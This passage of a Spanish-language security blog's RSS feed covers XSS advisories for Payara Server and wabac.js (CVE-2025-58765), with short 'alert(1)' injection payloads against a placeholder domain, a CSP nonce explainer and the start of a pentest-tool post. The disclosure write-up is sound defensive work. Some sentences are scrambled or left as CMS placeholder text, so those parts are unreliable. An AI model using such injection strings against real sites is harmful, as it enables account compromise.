           La falla no residía únicamente en el XSS reflejado, sino en la forma en que esa primitive podía encadenarse con una operación sensible insuficientemente protegida. En este caso, el resultado final era claro: un XSS en contexto administrativo terminaba habilitando el takeover completo del administrador.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Nota sobre el Coordinated Disclosure
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Esta vulnerabilidad fue reportada siguiendo prácticas de divulgación responsable. El período de coordinación de 113 días permitió al vendor desarrollar y desplegar un fix antes de la divulgación pública. Sin embargo, el proceso presentó desafíos. A pesar del compromiso inicial del vendor de coordinar la publicación del CVE y asegurar la atribución apropiada, la comunicación fue inconsistente. El CVE fue publicado sin la notificación prometida y sin la atribución acordada, situación que se corrigió posteriormente tras solicitarlo. Esta experiencia subraya la importancia de:
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            ﻿
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             Políticas claras de disclosure
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             Comunicación proactiva durante el proceso
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             Respeto a los acuerdos de atribución
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Documentación exhaustiva de todas las interacciones
            &#xD;
        &lt;br/&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Payara_CVE_2025-14340.png" alt="https://www.cve.org/CVERecord?id=CVE-2025-14340 "/&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/CVE-2025-14340+xss+to+Admin+account+takeover+in+payara.png" length="323431" type="image/png" />
      <pubDate>Tue, 24 Mar 2026 05:18:20 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/cve-2025-14340-de-xss-reflejado-a-takeover-completo-de-administrador-en-payara-server</guid>
      <g-custom:tags type="string">SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/CVE-2025-14340+xss+to+Admin+account+takeover+in+payara.png">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/CVE-2025-14340+xss+to+Admin+account+takeover+in+payara.png">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>CVE-2025-58765: XSS Reflejado en Wayback Machine  - Wabac.js</title>
      <link>https://www.deepsecurity.pe/cve-2025-58765-xss-reflejado-en-wabac-js</link>
      <description />
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/CVE-2025-58765.png" alt="Gráfico oscuro con &amp;quot;CVE-2025-58765&amp;quot;, &amp;quot;Cross-Site Scripting&amp;quot;, &amp;quot;Wayback Machine&amp;quot;, un ciempiés y el logotipo de &amp;quot;Deep Security&amp;quot;."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Análisis Rápido: XSS en Wayback Machine CVE-2025-58765
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            El equipo de research de
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://deepsecurity.pe/" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            DeepSecurity
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            ha identificado y reportado la vulnerabilidad
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/webrecorder/wabac.js/security/advisories/GHSA-w765-jm6w-4hhj" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            CVE-2025-58765
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            , un caso de
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Reflected Cross-Site Scripting (XSS)
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            en la lógica de manejo de páginas 404 de
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           wabac.js
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            , componente utilizado por paquetes como
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           @webrecorder/wabac
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            ,
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           @webrecorder/archivewebpage
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            y
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           replaywebpage
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            . La falla se origina porque el parámetro
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;code&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            requestURL
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/code&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            es insertado directamente dentro de un bloque
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;code&gt;&#xD;
      
           &amp;lt;script&amp;gt;
          &#xD;
    &lt;/code&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            sin ningún tipo de escape, permitiendo a un atacante construir URLs maliciosas capaces de ejecutar código JavaScript arbitrario en el navegador de la víctima.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;span&gt;&#xD;
      
           XSS reflejado en Javascript
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            En un XSS tradicional reflejado un valor no sanitizado controlado por el usuario, es usado para renderizar código javascript en el navegador de la víctima. Como ejemplo imaginemos una ruta que le da la bienvenida a un usuario tomando como valor el nombre del usuario de la variable
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           GET
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            name.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           URL: https://vulnerabledomain.com/welcome?name=foobar1
           &#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           HTML Ejemplo:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Si un atacante ingresara
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           https://vulnerabledomain.com/welcome?name=&amp;lt;script&amp;gt;alert(1);&amp;lt;/script&amp;gt;
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
           el código javascript se renderizaría y tendríamos un XSS reflejado clásico.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           HTML Ejemplo:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           En el caso del XSS reflejado en javascript, siguiendo con el ejemplo de la bienvenida a un usuario, imaginemos la URL es:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           https://vulnerabledomain.com/welcome?name=foobar1
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           el html referencial sería el siguiente:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           En este caso, el código una vez renderizado en el navegador mostraría el valor foobar1 después de bienvenido, sin embargo, este escenario es ligeramente diferente al anterior porque el payload que podríamos usar ya no requeriría que usemos la etiqueta &amp;lt;script&amp;gt;, dado que el valor de la variable name, se muestra en el contexto de un tag &amp;lt;script&amp;gt;.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           La URL con un payload de ejemplo sería algo como la siguiente:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           https://vulnerabledomain.com/welcome?name=foobar1";alert(1);//
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           En este escenario se conseguiría el mismo efecto de mostrar una alerta en el browser de la víctima pero sin necesidad de usar en el payload el tag &amp;lt;script&amp;gt;. Desde un punto de vista ofensivo, es una ventajas que un XSS  no requiera de caracteres especiales usados en los tags HTML.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            ﻿
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;span&gt;&#xD;
      
           CVE-2025-58765: Impacto de la vulnerabilidad
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           El XSS reportado en el CVE-2025-58765, afecta varias aplicaciones de forma indirecta, esto es debido a  que hay WebApps open source y páginas web de instituciones, que usan wabac.js para generar versiones archivadas de ciertos recursos web. A continuación se detalla como era la explotación del XSS.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ol&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Una aplicación web, integra la librería wabac.js para generar versiones archivadas de distintos sitios web.
            &#xD;
        &lt;br/&gt;&#xD;
        &lt;br/&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Un atacante construye una URL maliciosa que contiene un payload en la variable RequestURL, el cual es diseñado para ejecutar JavaScript en el navegador de una víctima.
            &#xD;
        &lt;br/&gt;&#xD;
        &lt;br/&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            El link malicioso, es abierto en el navegador de la víctima y se ejecuta el JavaScript reflejado.
            &#xD;
        &lt;br/&gt;&#xD;
        &lt;br/&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            El atacante puede robar cookies (si no están protegidas con HttpOnly/sameSite), realizar acciones CSRF encubiertas o cargar recursos externos de control del atacante.
            &#xD;
        &lt;br/&gt;&#xD;
        &lt;br/&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ol&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Nota:
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            no incluimos PoC ni payloads explotables en este post público — para evitar facilitar el abuso y seguir buenas prácticas de divulgación responsable p
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           áginas web. Entre las vulnerables expuestas en internet. es parte de la categoría antes mencionada, es reflejado en javascript. era tuvo tres puntos interesantes para mencionar en este write-up.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            ﻿
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           This is paragraph text. Click it or hit the Manage Text button to change the font, color, size, format, and more. To set up site-wide paragraph and title styles, go to Site Theme.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;span&gt;&#xD;
      
           CVE-2025-58765: XSS en error 404
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Dado que es una vulnerabilidad que afecta un número interesante de sitios,
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Bypass CSP script-src 'nonce-{nonce}'
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Tener una buena implementación de CSP, puede llegar a ser mucho más eficiente que implementar un WAF si se trata de mitigar riesgos. de la
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           seguridad web
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            , el nonce ayuda a prevenir
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           ataques de inyección de scripts
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            (como XSS), asegurando que solo se ejecuten los scripts que incluyan el token válido emitido por el servidor.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            En el contexto de una
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           CSP (Content Security Policy)
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            , el término
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           “nonce”
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            se refiere a un valor único generado aleatoriamente que se usa para autorizar la ejecución de scripts seguros en una página web. Este valor se agrega al encabezado HTTP y a las etiquetas 
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;code&gt;&#xD;
      
           &amp;lt;script&amp;gt;
          &#xD;
    &lt;/code&gt;&#xD;
    &lt;span&gt;&#xD;
      
             para indicar qué código es de confianza.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Al usar un nonce —especialmente en el contexto de una
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           CSP (Content Security Policy)
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
           — hay dos reglas clave:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ol&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             Usarlo
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            solo una vez
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             por solicitud.
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             Debe ser
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            imposible de predecir
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        
            , generado de forma totalmente aleatoria.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ol&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            En resumen, un
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           CSP nonce
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            es un
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           token aleatorio
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            que se usa
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           una sola vez
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            para validar una petición.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/CVE-2025-58765.png" length="665074" type="image/png" />
      <pubDate>Wed, 04 Mar 2026 00:49:29 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/cve-2025-58765-xss-reflejado-en-wabac-js</guid>
      <g-custom:tags type="string">SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/CVE-2025-58765.png">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/CVE-2025-58765.png">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Introspector Framework: Out-Of-Band Pentest Tool</title>
      <link>https://www.deepsecurity.pe/introspector</link>
      <description />
      <content:encoded>&lt;div&gt;&#xD;
  &lt;a&gt;&#xD;
    &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Portada_Blog_Introspector.png" alt=" " title=" Logo de Introspector"/&gt;&#xD;
  &lt;/a&gt;&#xD;
  &lt;span&gt;&#xD;
  &lt;/span&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;a href="https://www.introspector.sh/" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            ﻿﻿
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;a href="https://github.com/DeepSecurityResearch/Introspector" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            Introspecto
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;a href="https://github.com/DeepSecurityResearch/Introspector" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            r
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            es un framework ofensivo diseñado para
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           analizar y explotar comportamientos HTTP avanzados
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           que ocurren “fuera” de la respuesta inmediata desde el servidor web (OOB - out of band). Más allá de un simple request/response, el objetivo es reconstruir la ruta de ejecución completa de un payload  incluyendo patrones de redirección, resoluciones DNS, ejecución de solicitudes encadenadas y seguimiento de recursos servidos por el backend.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            En escenarios reales, muchas vulnerabilidades críticas no se manifiestan en el HTML de salida (response), sino en la infraestructura intermedia y
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           el comportamiento del backend: balanceadores, reverse proxies, WAFs, CDN, resolvers DNS, caches, microservicios internos y clientes HTTP automatizados
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            .
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.introspector.sh/" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            ﻿Introspector
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
